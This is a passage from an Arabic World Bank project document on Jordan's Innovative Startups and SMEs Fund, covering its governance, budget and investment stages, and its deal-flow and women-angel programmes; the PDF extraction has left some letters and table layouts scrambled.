ُمتوقع نموها نمو ا سريع ً ا بينما سيكون المستفيدون من أنشطة دعم تدفق الصفقات هم رواد األعمال الذي يتطلعون إلى إنشاء ً أعمال تجارية أو إعداد شركاتهم الناشئة لالستثمار. من ناحية أخرى، سيكون المستفيدون غير المباشرين هم عمالء رأس المال المخاطر الخاص الذين سيستغلون رأس المال من خالل إقامة الشراكات االستثمارية. وفي نفس الوقت، سيتمثل مستفيدون آخرون في كيانات البنية التحتية األساسية الخاصة بالنظام البيئي الشامل لالستثمار واالبتكار الذي يوفر الدعم والتمويل لرواد األعمال مثل صناديق رأس المال المخاطر وصناديق االستثمار ال ُممول وحاضنات ومعجالت األعمال وبرامج التوجيه وتنمية األعمال التجارية وخدمات الجاهزية لالستثمار. ج. الهدف اإلنمائي للمشروع - المؤشرات على مستوى النتائج 29 -سيتم قياس الهدف اإلنمائي للمشروع من خالل مؤشرات النتائج التالية: أ. رأس المال الخاص المعبأ خالل المشروع )بالدوالر األمريكي( ب. الشركات ال ُمستفيدة الحاصلة على التمويل من المشروع )عدد الشركات( ج. الشركات ال ُمستفيدة التي قدمت منتجات أو عمليات جديدة )عدد الشركات( 30 -من المتوقع أن يساهم هذا المشروع في توفير عدد كبير من الوظائف غير المباشرة بسبب اآلثار العرضية التي لحقت بسلسلة التوريد والقيمة؛ وبالرغم من ذلك، يتجاوز هذا الهدف نطاق المتابعة الخاص بالمشروع. حيث سيتم توفير وظائف مباشرة لكن لن ُيتوقع أن تترك هذه الوظائف ال ُموفرة آثارا اقتصادية هامة؛ وذلك ألن عدد الوظائف ال ُموفرة لن يمثل معياراً ً ا، ومع ذلك، سيتعقب المشروع عدد الوظائف الجديدة حسب النوع االجتماعي والفئة العمرية التي يوفرها المستفيدين من ً أساسي (. عالوًة المشروع مباشرة من خالل تقييم آثار توفير فرص العمل للنساء والشباب )الفئة العرية 18-35 سنة على ذلك، سيكتشف هذا المشروع إطار الممارسات المثلى الخاصة بكيفية قياس توفير فرص العمل غير المباشرة من خالل هذه العملية ومتابعة هذه النتائج إلى اقصى الحدود ال ُممكنة. من ناحية أخرى، ال تتضمن الصناعات ال ُمستهدفة التي يدعمها المشروع القطاعات التي ُيسمح فيها لالجئين السوريين بالعمل )الصناعة والزراعة(، إال أنه من الممكن أن يجذب هذا المشروع رواد أعمال و/أو مستثمرين من جموع الالجئين السوريين القانونين ومن ثم يتعقب المشروع هذا بصفته جز ًءا من إطار المتابعة 19 ا لدليل أوسلو )الطبعة الثالثة، تصنف األنواع المختلفة لالبتكارات وفقاً لما يلي: ً وفق 2005ً ،) أ. ابتكار المنتجات: تقديم سلع أو خدمات جديدة ومحسنة من ناحية خصائصها واستخداماتها المُقصودة. وهذا يتضمن إجراء تحسينات بالغة صائصها الوظيفية األخرى. فضالً في مواصفاتها الفنية وبرامجها الحاسوبية المُدمجة وسهولة استخدام المُستخدمين لها وخ عن ذلك، يمكن بابتكار المنتجات االنتفاع بالمعرفة التكنولوجية الحديثة أو االستناد على استخدامات جديدة أو مجموعات جديدة من المعارف أو التكنولوجيا. تطور لإلنتاج والتوصيل. وهذا يتضمن إجراء تغييرات جذرية في التقنيات والمعدات ب. ابتكار العمليات: ُيقصد به تفعيل أساليب جديدة وبالغة الُ و/أو البرامج الحاسوبية. عالوًة على ذلك، يمكن أن ُيستخدم ابتكار العمليات في خفض تكاليف الوحدات أو توصيلها ورفع الجودة أو إنتاج منتجات جديدة أو بالغة التحسن وتوصيلها. ج. االبتكار التسويقي: يُقصد به تفعيل أساليب تسويقية جديدة تتضمن إجراء تغييرات جذرية في تصميم المنتجات وتغليفها وتحديد المنتجات وترقية المنتجات أو تسعيرها. تهدف االبتكارات التسويقية إلى تحسين تلبية احتياجات الزبائن وافتتاح أسواق جديدة أو إدخال منتجات جديدة لشركة ما إلى األسواق بهدف زيادة حجم مبيعات الشركة. د. االبتكار التنظيمي: يُقصد به تفعيل مناهج تنظيمية جديدة في الممارسات التجارية للشركة أو مكان العمل أو المنظمة أو العالقات الخارجية. فضالً عن ذلك، يمكن استخدام االبتكارات التنظيمية في النهوض بأداء الشركة عن طريق خفض التكاليف اإلدارية وتكاليف المعامالت وتحسين الرضاء عن مكان العمل )مما يرفع من إنتاجية العمال( والحصول على األصول غير التجارية )مثل المعرفة الخارجية المُقننة( أو خفض تكاليف التوريدات. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 17 والتقييم األشمل. ثالثاً. وصف المشروع 31 -يستمر هذا المشروع لمدة 6 أعوام ويتضمن إقامة شركة تمويل تتم إدارتها بواسطة القطاع الخاص ُتدعى )صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية( وهي المنشأة المسئولة عن إجراء استثمارات في الشركات عالوًة الناشئة والمؤسسات الصغيرة والمتوسطة في مراحلها المبكرة وبالتالي تحقق االستفادة من أموال القطاع الخاص. على ذلك، سيدعم هذا الصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية النظام البيئي الشامل لريادة األعمال وذلك بهدف إيجاد تدفق جيد في الشركات الناشئة. من ناحية أخرى، ستكون الشركة االردنية لضمان القروض هي يكون مسئوالً أنشطة الصندوق ورفع المسئولة عن اإلنشاء القانوني للصندوق وتعيين مدير من القطاع الخاص عن إدارة تقارير للشركة االردنية لضمان القروض، وهي شركة خاصة واقعة تحت إشراف مراقب الشركات ال ُمسئول عن اإلشراف على جميع الشركات الخاصة. فضالً عن ذلك، سيتم تقديم مساهمة في رأس مال الصندوق من خالل قرض البنك الدولي وهناك 20 مبلغ إضافي يقدمه البنك المركزي األردني في صورة تمويل مشترك . 32 -أوضح دليل من إحدى المشروعات التي نفذها البنك الدولي في لبنان والنماذج المماثلة األخرى في اسكتلندا والمملكة ال ُمتحدة إمكانية جذب مستثمري القطاع الخاص من أجل تقديم رأس مال للشركات في المراحل المبكرة من أعمالها وذلك إذا كان بإمكانهم مشاركة المخاطرة وزيادة حجم حافظات أوراقها المالية. وتتضمن الحوافز التي تحث مستثمري القطاع الخاص، عند وضع استثماراتهم في الشركات الناشئة، مواصلة تمويلهم لهذه الشركات على مر مراحل نموها وإقامة نظام بيئي شامل فعال وقوي من شأنه أن يساعد في إقامة شركات ناشئة عالية الجودة. 33 -يهدف صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية من خالل تمويله للشركات الناشئة إلى تكوين كتلة حرجة من رؤوس المال المخاطر الناجحة من أجل إحداث تأثير عملي. ومن المتوقع أن تشجع هذه التأثيرات العملية للتمويل الناجح الذي سيقدمه الصندوق المزيد من مستثمري القطاع الخاص على التفكير في تقديم استثماراتهم في هذا المجال. بجانب أن دعم النظام البيئي الشامل من أجل تحسين جودة الشركات الناشئة و فالتمويل وحده لن يكون كافيا زيادة عددها من ً فق الصفقات يمثل عامالً ضروريا المال المخاطر ً أجل تد لمواجهة مشكلة فشل التنسيق )الموقف الذي تعجز فيه صناعة رأس عن التطور بسبب عدم توافر الخدمات األساسية والدعم الالزم إلقامة مؤسسات صغيرة ومتوسطة يمكن االستثمار فيها(. وقد تم اختبار هذا النموذج في عدة دول من بينها صندوق رأس مال تأسيس الشركات الناشئة السنغافوري وصندوق المشروعات األسكتلندي وصندوق المملكة المتحدة لالستثمارات الممولة المساعدة. وقد أسهمت الدروس المستفادة من هذه الصناديق بجانب تلك ال ُمكتسبة من العمليات المماثلة التي أجراها البنك الدولي في دول أخرى مثل )أرمينيا والهند والمكسيك ولبنان( في سد الفجوة التي يعاني منها النظام البيئي الشامل بغرض النهوض بالمشروعات االبتكارية القابلة للتطبيق ودعمها مما أثبت أهمية هذه الدروس في نجاح صندوق االستثمار. شكل رقم 4 صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية يلتزم البنك المركزي األردني بتقديم 48 مليون دوالر أمريكي للشركة االردنية لضمان القروض طوال عمر الشركة، وهذا المبلغ يعادل استثمار 20 قيمته 88.13 مليون دوالر أمريكي طوال عمر المشروع الذي ينفذه البنك الدولي )ستة أعوام(. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 18 الحوكمة ودور الجهات المعنية الرئيسية بصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية 34 -ستمتلك الشركة األردنية لضمان القروض األسهم ال ُمملوكة لصندوق الشركات الناشئة والمشروعات الصغيرة والمتوسطة ال ُمبتكرة بالنيابة عن الحكومة وعندما يتم تصفية الصندوق، سوف تسترد الحكومة العائدات. وستضطلع لجنة متابعة رفيعة المستوى ُمكونة من ممثلين من وزارة التخطيط والتعان الدولي والبنك المركزي األردني ووزارة المالية ووزارة الصناعة التجارة بالدور الرقابي على المشروع. بينما سترفع الشركة األردنية لضمان القروض تقارير سنوية للجنة المتابعة ال ُمذكورة. لكن ال تشترك الحكومة واللجنة في عمليات الصندوق أو إدارته. 35 -من ناحية أخرى، ستكون الشركة األردنية لضمان القروض هي المسئولة عن تكوين مجلس إدارة صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية. حيث سيتكون مجلس اإلدارة من 7 أعضاء مؤهلين فقط ا للمعايير ال ُمنصوص ً يتمتعون بنفس حقوق التصويت. وسيضم هذا المجلس أعضاء من القطاع الخاص وسيتم اختيارهم وفق عليها في دليل عمليات المشروع شريطة عدم ممانعة البنك الدولي. وعمال بقانون الشركات، سيكون مجلس اإلدارة مسئوالً عن إبداء الرأي في االستثمارات التي تقدمها إليه لجنة االستثمار التابعة لصندوق الشركات. لكن ال يحق له إبداء رأيه في فضالً سند مجلس اإلدارة إلى لجنة االستثمار مسئولية اختيار االستثمارات التي ال توصي بها لجنة االستثمار. عن ذلك، سُي االستثمار/اختيار استراتيجية االستثمار بينما ستُسند مهام إقالة لجنة االستثمار وإدارة أنشطة المشروع وصناعة القرارات الذي يكون مسئوالً العملية إلى مدير الصندوق أيض ا عن تقديم تقارير لمجلس اإلدارة. عالوًة على ذلك، سيظل مجلس اإلدارة ً ا للقانون األردني والمعايير ال ُمنصوص عليها في دليل عمليات ً يشرف على سالمة التنفيذ وإدارة الشركة ورفع التقارير وفق ا في الصندوق باستثناء توفير رأس ً المشروع. ولن يكون البنك المركزي األردني عضًوا في مجلس اإلدارة ولن يكون له دور ا موصي )أي ال يتمتع بحق الرفض، ولديه أسهم ال تخول له التصويت(. المال وسيكون شريك 36 -سيكون مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية مسئوال عن تعيين فريق العمل في الصندوق مع وضع استراتيجية العمليات واالستثمار، ومتابعة مؤشرات المشروع وإعداد التقارير ذات الصلة، إلى جانب اإلدارة المالية والمشتريات والضمانات الوقائية وفقاً للمعايير الواردة في دليل عمليات المشروع. وسيتم تقييم أداء مدير الصندوق واختياره بنا ًء على المعايير التي يحددها البنك الدولي في دليل عمليات المشروع. وينبغي أن يكون العاملون في الصندوق من خبراء القطاع الخاص. 37 -سوف يقدم مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية مقترح لمجلس اإلدارة للموافقة على أعضاء لجنة االستثمار المستقلة وفقاً للمعايير المدرجة في دليل عمليات المشروع وعدم ممانعة البنك الدولي. سوف ينضم مدير الصندوق إلى عضوية لجنة االستثمار. وسوف يختار مجلس اإلدارة أحد أعضائه لرئاسة اللجنة باستثناء ممثل الشركة األردنية لضمان القروض الذي ال يمكنه رئاسة اللجنة أو المشاركة في عضويتها. ولن تلعب الشركة أي دور في تنفيذ األنشطة أو اختيار االستثمارات، وسوف تفرض اللجنة جزاءات على االستثمارات وعمليات التخارج التي يقترحها فريق االستثمار التابع للصندوق والمفوض من مجلس اإلدارة. ويتضمن الملحق رقم 2 تفاصيل إضافية حول دور كل جهة من الجهات المعنية. صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية خلق تدفق للصفقات دعم معجالت األعمال وشبكات االستثمار التي ترعى األعمال والهيئات وما إلى ذلك من أجل القيام بأنشطة دعم ريادة األعمال التمويل المختلط من رأس المال والدين في المؤسسات الصغيرة والمتوسطة مع صناديق رأس المال المخاطر وصناديق االستثمار الذي يراعي األعمال ومنصات االستثمار وشركات االستثمار وما إلى ذلك البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 19 الشكل رقم 5 – الهيكل التنظيمي لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية أ- مكونات المشروع 38 -يتم توزيع أموال المشروع في ثالثة مجاالت: )أ( تمويل الشركات الناشئة اإلبتكارية والمؤسسات الصغيرة والمتوسطة بما في ذلك الحوافز المقدمة للمستثمرين الشركاء من خالل دعم االستثمار، و)ب( دعم مقدمي خدمات النظام البيئي الشامل للمساعدة في خلق تدفق الصفقات، و)ج( إدارة المشروع. يوضح الجدول رقم 5 طريقة توزيع رأس مال الصندوق كامال . ومع ذلك، ينبغي 21 على السنوات الستة بالجمع بين أموال المشروع والمساهمة المالية المقدمة من البنك المركزي األردني اإلشارة إلى مرونة المخصصات التي تسمح باستيعاب التغيرات في تكاليف السوق والطلب عليه. وقد يقترح مدير الصندوق إجراء تغييرات في الموازنة حسب االحتياجات المالئمة. وفي حالة عدم استخدام مبلغ ما مخصص ألحد األنشطة بالكامل، يجوز إعادة تخصيص المبلغ المتبقي لنشاط أخر. جدول رقم 5 .أنشطة ونفقات الصندوق خالل فترة تنفيذ مشروع البنك الدولي )6 سنوات( النشاط/ المكون )بالمليون دوالر( 1 .تمويل المؤسسات الصغيرة والمتوسطة شامل دعم االستثمار 53.5 2 .خلق تدفق الصفقات 25.6 3 .إدارة المشروع وتنسيقه ومتابعته وتقييمه 4 *63.75 اإلجمالي * يشمل هذا المبلغ قرض البنك الدولي والتمويل المقدم من البنك المركزي األردني، وال يشمل رأس المال الكلي المتاح لدى الصندوق المكون األول: برنامج التمويل المختلط من رأس المال والدين )قيمة قرض البنك 75.44 مليون دوالر/ إجمالي موزانة الصندوق 5.53 مليون دوالر( 39 -في إطار هذا النشاط، سوف يستثمر صندوق الشركات الناشئة اإلبتكارية والمؤسسات الصغيرة والمتوسطة مبلغ 50 مليون دوالر في ما يقرب من 200 شركة باإلضافة إلى مبلغ 5.3 مليون دوالر تقدم للمستثمرين الشركاء كدعم لالستثمار. هذه لمعدل الطلب في السوق. وسوف تتم األرقام عبارة عن قيم تقديرية ويمكن أن تتغير وفقا موازنة االستثمارات في الشركات ً الناشئة بين المراحل الثالثة للمشروعات المحفوفة بالمخاطر المرتفعة وتصنف كاآلتي: مرحلة التأسيس )قيمة الحصة االستثمارية أقل من 280 ألف دوالر أمريكي( وفي المراحل المبكرة )قيمة الحصة االستثمارية بين 280 ألف و750 ألف دوالر أمريكي( وفي رأس المال المخاطر )قيمة الحصة االستثمارية من 750 ألف حتى 3 ماليين دوالر أمريكي(. يمكن أن سوف تقسم مساهمة البنك المركزي األردني على فترة استمرار الصندوق، أي 12 شهر. وسوف يتم صرف مبلغ 88.13 مليون دوالر خالل فترة 21 تنفيذ مشروع البنك الدولي. مجلس اإلدارة )7) لجنة االستثمار )5) المدقق الداخلي رئيس مجلس اإلدارة )مدير الصندوق( فريق االستثمار محاسب أول × 1 أو 2 مساعد × 2 محاسب أول × 1 كبير الموظفين الماليين محاسب أول × 1 االمتثال إداري × 1 التسويق وتدفق الصفقات )1 ) البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 20 تأتي االستثمارات في المؤسسات الصغيرة والمتوسطة في صورة أدوات التمويل المختلط من رأس المال والدين مثل السندات ونماذج أخرى من الدين الخاضع لشروط ميسرة والتي يعتبرها المستثمرون الشركاء والوسطاء ضرورية 22 القابلة للتحويل لنجاح الشركة. يتضمن الملحق رقم 2 تفاصيل عن استراتيجية االستثمار وأدوات التمويل المختلط من رأس المال والدين. 40 -سوف تتاح فرص االستثمار في جميع القطاعات )القطاع الالداري(. ومع ذلك، من المتوقع أن تركز االستثمارات في المقام األول على قطاعات التكنولوجيا واإلعالم واإلتصاالت والخدمات، وتتوجه بعض االستثمارات إلى قطاع األعمال الزراعية التجارية والمستحضرات الدوائية والمياه والطاقة النظيفة. ولن يتم االستثمار في قطاع العقارات واإلنشاءات والصناعات الثقيلة. 41 -سوف تستخدم استراتيجية االستثمار التي وضعها صندوق الشركات الناشئة اإلبتكارية والمؤسسات الصغيرة والمتوسطة تركيبة من االستثمارات المباشرة في المؤسسات الصغيرة والمتوسطة وصناديق االستثمار الخاصة التي تسعى إلى زيادة قيمة التمويل في صفقات محددة، واالستثمارات غير المباشرة في المؤسسات الصغيرة والمتوسطة عن طريق الصناديق )بوصفها شريك مساهم(. يتناول دليل عمليات المشروع بالتفصيل معايير االختيار الخاصة بكافة االستثمارات. ويوضح خطة استثمار إرشادية لفترة الست سنوات والتي يمكن أن تتغير وفقا حتياجات السوق واستمرار استيفاء ً الجدول رقم 6 ال الصندوق لمعايير التنمية الشاملة الخاصة بالمشروع. ومن خالل خيار االستثمار المباشر في المؤسسات الصغيرة والمتوسطة واالستثمار غير المباشر فيها عن طريق الصناديق، يتمتع الصندوق بمرونة تعديل طريقة مشاركته حسب متطلبات السوق وتمكين جميع المستثمرين المحتملين من القيام بدور. جدول رقم 6 .معايير استثمارات الصندوق طوال فترة تنفيذ المشروع )6 سنوات(* النوع االستثمارات غير المباشرة االستثمار المباشر اإلجمالي مرحلة التأسيس )أقل من المرحلة 280 ألف دوالر( المرحلة المبكرة )280 ألف دوالر – 750 ألف دوالر( مشروع رأس المال المخاطر 750 ألف دوالر – 2 مليون دوالر المرحلة المبكرة وما بعدها مخصصات صندوق 7 مليون دوالر 14 مليون دوالر 24 مليون دوالر 5 مليون دوالر 50 مليون دوالر المشروعات الناشئة القطاعات قطاعات مليئة بالفرص تركز على التكنولوجيا واإلعالم واالتصاالت والزراعة والمستحضرات الدوائية والطاقة الجهات الفاعلة معجالت أو حاضنات األعمال + صناديق تمويل مرحلة التأسيس معجالت أو حاضنات األعمال + صناديق أو شبكات رعاة األعمال المرحلة المبكرة وصناديق رأس المال المخاطر االستثمار المشترك مع معجالت أو حاضنات األعمال صناديق رعاة األعمال ورأس المال المخاطر حجم الفرصة حجم الصندوق يتراوح ما بين 2 مليون دوالر إلى 5 مليون دوالر أمريكي حجم الصندوق يتراوح ما بين 5 مليون دوالر إلى 15 مليون دوالر أمريكي حجم الصندوق يزيد عن 15 مليون دوالر أمريكي يرفع االستثمار القيمة اإلجمالية لتصل إلى 500 ألف دوالر إلى 5.1 مليون دوالر أمريكي دعم صندوق المشروعات الناشئة حتى 5.1 مليون دوالر أمريكي لكل صندوق حتى 5.3 مليون دوالر أمريكي لكل صندوق حتى 5.5 مليون دوالر أمريكي لكل صندوق استثمار 200 ألف مليون دوالر إلى 500 ألف دوالر في كل شركة ناشئة عدد الصناديق 3-4 صناديق 3-4 صناديق 3-4 صناديق ال ينطبق المستهدفة الروافع المالية في القطاع الخاص )بالتقريب( 2 مليون دوالر لكل صندوق )بإجمالي 7 مليون دوالر أمريكي( 7 مليون دوالر لكل صندوق )بإجمالي 24 مليون دوالر أمريكي( 5.9 مليون دوالر لكل صندوق )بإجمالي 33 مليون دوالر أمريكي( 250 ألف دوالر إلى مليون دوالر أمريكي لكل صفقة )بإجمالي 5.7 مليون دوالر( مليون 71.5 دوالر معايير رفيعة المستوى لكل استثمار ** أقل من 40 %من مخصصات الصندوق اإلجمالية أقل من 30 %من مخصصات الصندوق اإلجمالية أقل من 30 %من مخصصات الصندوق اإلجمالية االستثمار المشترك فقط، ال تزيد النسبة عن 50 %من كل جولة. عدد الشركات )بالتقريب )200 - 150 شركة 15 – 10 شركة 40 – 30 شركة 70 – 60 شركة 80 – 70 5.121 مليون إجمالي المخصصات 14 مليون دوالر 38 مليون دوالر 57 مليون دوالر 5.12 مليون دوالر دوالر * هذه الخطة هي خطة إرشادية وقابلة للتغيير حسب احتياجات السوق ** يرجى الرجوع إلى الملحق رقم 2 لمزيد من التفاصيل عن المعايير رفيعة المستوى والمبادئ التوجيهية لالستثمارات المباشرة وغير المباشرة السند القابل للتحويل هو مبلغ يمنح إلى الشركة مقابل أسهم رأس المال في الشركة التي ترد فيما بعد في صورة قرض عندما تبدأ الشركة في تحقيق 22 إيرادات. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 21 من استثمارات رأس المال، إما 23 42 -من المتوقع أن يضخ المستثمرون من القطاع الخاص نحو 70 مليون دوالر أمريكي بصفتهم مستثمرين مشاركين في صناديق األموال )استثمار غير مباشر( أو مشاركين في استثمار رأس المال في الصفقات )استثمار مباشر(. وتجدر اإلشارة إلى أن أولئك المستثمرون يحسنون اإلدارة التجارية والمالية للمؤسسات الصغيرة والمتوسطة التي يستثمرون فيها، مما يزيد من قبولها لدى البنوك، وبذلك تستفيد من التمويل اإلضافي الذي تقدمه مؤسسات االئتمان. ولكن قياس مدى نجاح ذلك خارج عن نطاق المشروع. ومن األطراف المقبولة لدى الصندوق للمشاركة في انوا أفراداً االستثمارات، سواء ك أم صناديق، نذكر ما يلي: الصناديق في مرحلة التأسيس )صناديق رعاة األعمال( وفي المراحل المبكرة وصناديق االستثمار في رأس المال المخاطر ومنصات التمويل الجماعي وشركات االستثمار وما إلى ذلك من جهات االستثمار المؤسسية، شريطة االلتزام بالمعايير الموضحة في دليل عمليات المشروع. دعم االستثمار 43 -يعد ارتفاع تكاليف المعامالت الالزمة إليصال الشركات الناشئة إلى مرحلة النمو من أبرز العوامل المثبطة للمستثمرين؛ حيث إن تلك الشركات تبذل جهدا ولتحفيز مديري الصناديق ً وتتكبد تكاليف تفوق ما قد تدفعه المؤسسات الصغيرة والمتوسطة األقدم. الشريكة والمشاركين في االستثمار كي يستثمروا في الشركات الناشئة، فإن الصندوق سوف يمنح الصناديق الشريكة، عالوة على رأس المال، مبلغاً ال يرد لتغطية النفقات المتصلة بدعم الشركات الناشئة االبتكارية. فعلى سبيل المثال، تغطي نفقة اإلدارة زءا المال التكاليف التشغيلية للصندوق، بما فيها التعاقدات وبذل العناية الواجبة وإدارة ً التي تشكل ج من االستثمار في رأس االستثمارات والتسويق والتواصل. ومع ذلك، فإن التكاليف اإلضافية المتصلة بالشركات الناشئة االبتكارية ال تقتصر على ذلك، وإنما تشمل أيضا رين على مواجهة تحديات النمو في القطاعات ومجاالت االبتكار المختلفة. وعالوة على ً ضمان قدرة المستثم ذلك، قد تشمل أنشطة دعم االستثمار التكاليف المهنية والمالية والقانونية واإلدارية لتسجيل براءات االختراع والحفاظ عليها وتحديثها، والتجريب الميداني للمنتج في سوق جديدة، وأنشطة الدعم اإلداري )المحاسبة والخدمات القانونية والتسويق واإلدارة(، وهو ما ال تستطيع الشركات الصغيرة تحمله في المعتاد. 44 -يحدد إجمالي دعم االستثمار المقدم لكل صندوق وفقاً إلتاحة األموال، ووفقاً للعروض المقدمة من مديري الصناديق المعنية إلى صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية. وتصدر الموافقة على الطلبات من لجنة االستثمار بالصندوق بعد مراجعة العروض المقدمة. المكون الثاني دعم خلق تدفق الصفقات )قيمة قرض البنك: 215,3 مليون دوالر أمريكي/ إجمالي الموازنة: 25,6 مليون دوالر أمريكي( 45 -سوف تعتمد جودة استثمارات الصندوق القابلة لالستمرارية وعددها على توافر نظام بيئي شامل يتسم بالقوة والقدرة على خلق فرص لريادة األعمال في األردن وتحويل تلك الفرص إلى شركات ناشئة قابلة لالستمرارية. ويشمل ذلك البرامج التي ترمي إلى التواصل مع رواد األعمال من المناطق المتأخرة والصناعات التي تعاني من نقص الخدمات )بخالف قطاع تكنولوجيا معلومات االتصاالت( والفئات المهمشة مثل رائدات األعمال. أما بالنسبة لشباب الخريجين، فال بد من توفير الموارد الالزمة لرعاية إبداعتهم وابتكاراتهم، فهو حجر األساس في بدئهم لمشاريعهم الخاصة أو انضمامهم لفريق في مجال ريادة األعمال. وبالنسبة للمهنيين األكثر خبرة الذين يؤسسون شركات جديدة، فيندر بينهم توافر تجربة عملية في جمع التبرعات واالستغالل التجاري. وبالتالي فإن مؤسسات دعم ريادة األعمال ينبغي أن تدعم هذه الفئات بحيث تستطيع الشركات التي يؤسسونها جذب المستثمرين. 46 -في إطار هذا النشاط، سوف يدعم الصندوق 825 رائد أعمال ومؤسسة صغيرة ومتوسطة لدعم جاهزيتهم لالستثمار وتحسين جودة وتنوع الخدمات التي يقدمها الوسطاء والشبكات المخصصة لخلق تدفق الصفقات في األردن، وذلك بهدف جلب 125 صفقة قابلة لالستمرارية ينظر فيها الصندوق ويمول من يختاره منها. وسوف يقيم الصندوق، ضمن إدارته للمشروع، تطوير النظام البيئي الشامل سنوياً ويحدد األولويات التي سوف يركز عليها في السنة التالية. 47 -سوف يتعاقد الصندوق أو يستعين بواحد أو أكثر من مقدمي الخدمات المتخصصين )مثل معجالت وحاضنات األعمال وهيئات دعم تنمية األعمال التجارية( وفقاً للمعايير الواردة في دليل عمليات المشروع، ويتحمل النفقات الالزمة لتنفيذ ما يلي من أنشطة خلق تدفق الصفقات: 23 لعدد الصناديق التي سيستثمر فيها الصندوق وقيمتها. قد يتغير ذلك وفقاً البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 22 أ. برامج معجالت أو حاضنات األعمال. تستهدف هذه البرامج المشروعات الجديدة )أو الفرق التي تخطط إلنشاء مشروعات جديدة(، وتعمل على تعجيل مشروعات من 10 إلى 12 فئة من رواد األعمال، تشمل كل فئة من 15 إلى . وتتلقى مشروعات التعجيل، بطبيعة الحال، دعماً خالل فترة زمنية محددة )من أربعة إلى ستة أو فريقاً 20 مشروعاً أشهر(، شاملة الفعاليات والدورات التدريبية والتوجيه المكثف الختبار قدرة نموذج األعمال/ المنتج على البقاء، وكثيراً ما تتبع هذه المشروعات منهج لين إلنشاء الشركات، وهو أسلوب في التنفيذ يعتمد، نظرياً، على فئات من الشركات التنافسية، عوضاً الناشئة مفتوحة للجميع وشديدة عن االعتماد على شركات بعينها. ويركز هذا المنهج باألساس على الفرق الصغيرة، ال المؤسسين المنفردين، ويبدأ بوضع فكرة الشركة )عبر فعاليات الهاكاثونات والمنافسات( يليها دورات تدريبية مكثفة ودعم مكثف، ويختتم بحفالت تخرج دورية في يوم يدعى يوم العرض/ يوم المستثمرين. ولن إضافياً تقتصر البرامج على قطاع بعينه، وال منطقة أو محافظة بعينها، وإنما تستهدفها جميعاً، وينبغي أن تبذل جهداً للوصول إلى رائدات األعمال. ب. دورات التدريب على الجاهزية لالستثمار وخدمات تطوير األعمال التجارية المقدمة للمؤسسات الناشئة التي تسعى للحصول على رأس المال والمؤسسات الصغيرة والمتوسطة التي تسعى لزيادة نموها زيادة هائلة. يستهدف هذا الدعم المشروعات القائمة التي تحتاج لمساعدة خاصة لكي تصير جاهزة/ مؤهلة الستثمارات الصندوق. وتختلف المشروعات التي تسعى الستثمارات الصندوق، فقد تكون شركة ناشئة تلقت أحد برامج التعجيل، وفي هذه الحالة ينبغي أن تحصل على برنامج الجاهزية لالستثمار، وقد تكون مؤسسة صغيرة أو متوسطة تسعى للتوسع عبر أحد منتجاتها أو عملياتها االبتكارية، وفي هذه الحالة فإنها ستحتاج إلى خدمات لتنمية األعمال التجارية.  هناك أوجه تشابه بين برامج الجاهزية لالستثمار وبرامج التعجيل، وإن كانت األولى أكثر تركيزاً، وتتناول كيفية سير عملية االستثمار وجذب المستثمرين وتحديد أوجه الضعف في النموذج التجاري الحالي وأسلوب تقديم العروض، لوجه، وتشتمل على فعاليات وتقدم للمجموعات عبر شبكة اإلنترنت أو وجها إرشادية أو لتقديم عروض الشركات ً الناشئة.  سوف تتضمن خدمات تنمية األعمال التجارية تقييماً ألداء المؤسسات الصغيرة والمتوسطة المتقدمة وإمكانات نموها، ثم تقديم الدعم االستشاري المتخصص لمواجهة العقبات التي تعوق خطط جذب االستثمارات الخاصة بالمتقدمين ذوي اإلمكانات األفضل. وسوف يستهدف برنامج تنمية االعمال التجارية مساعدة 75 شركة صغيرة أو متوسطة على تحقيق النمو خالل فترة المشروع. ولضمان عدم منح الدعم إال للمؤسسات الصغيرة والمتوسطة الجادة، فإن البرنامج سيقدم جزءا 20 ألف دوالر أمريكي لكل مؤسسة(، بينما تغطي المؤسسة كافة النفقات من ً من التكاليف )بحد أقصى مصادر أخرى. ج. تطوير شبكات رعاة األعمال. تطوير مجموعتين من مجموعات رعاة األعمال األردنيتين على األقل عن طريق دعم تشكيل المجموعات الجديدة وتصميمها وتدريب مديري المجموعات وتوجيههم ودعم األنشطة على مستوى األنظمة التي تفيد كافة شبكات رعاة األعمال األردنية، وكذلك الحث على دعم راعيات األعمال )انظر مربع النص رقم 1.) مربع النص رقم 1 .دور راعيات األعمال في تشجيع خوض النساء مجال ريادة األعمال بالنظر للتأثير الذي يسعى المشروع إلحداثه، وتحديداً زيادة أعداد رائدات األعمال، فإن الصندوق سوف يحرص على التعاون مع األطراف المعنية للتوصل إلى برنامج يدعم راعيات األعمال. أكدت المناقشات مع منتدى معهد ماساتشوستس للتكنولوجيا )MIT )لريادة األعمال، الذي ينظم أكبر مسابقة إقليمية لألعمال التجارية، بأنه على الرغم من كثرة النساء الالتي يمتلكن أفكار تجارية خالقة ممن يفزن بالمسابقات، فإن قلة منهن فقط في دعم رائدات األعمال؛ فزيادة عدد ً محورياً تتمكن من الحصول على تمويل لمشروعاتهن في مرحلة التأسيس. ولكن هذا النشاط سيؤدي دورا راعيات األعمال من شأنه أن يزيد فرص حصول النساء على رأس المال. بالغ األهمية في جذب نسبة أكبر من الشركات الناشئة المملوكة للنساء واالستثمار فيها، مقارنةً تؤ بمجموعات رع دي راعيات األعمال دورا اة ً األعمال التي يهيمن عليها الرجال. وقد كشفت دراسة 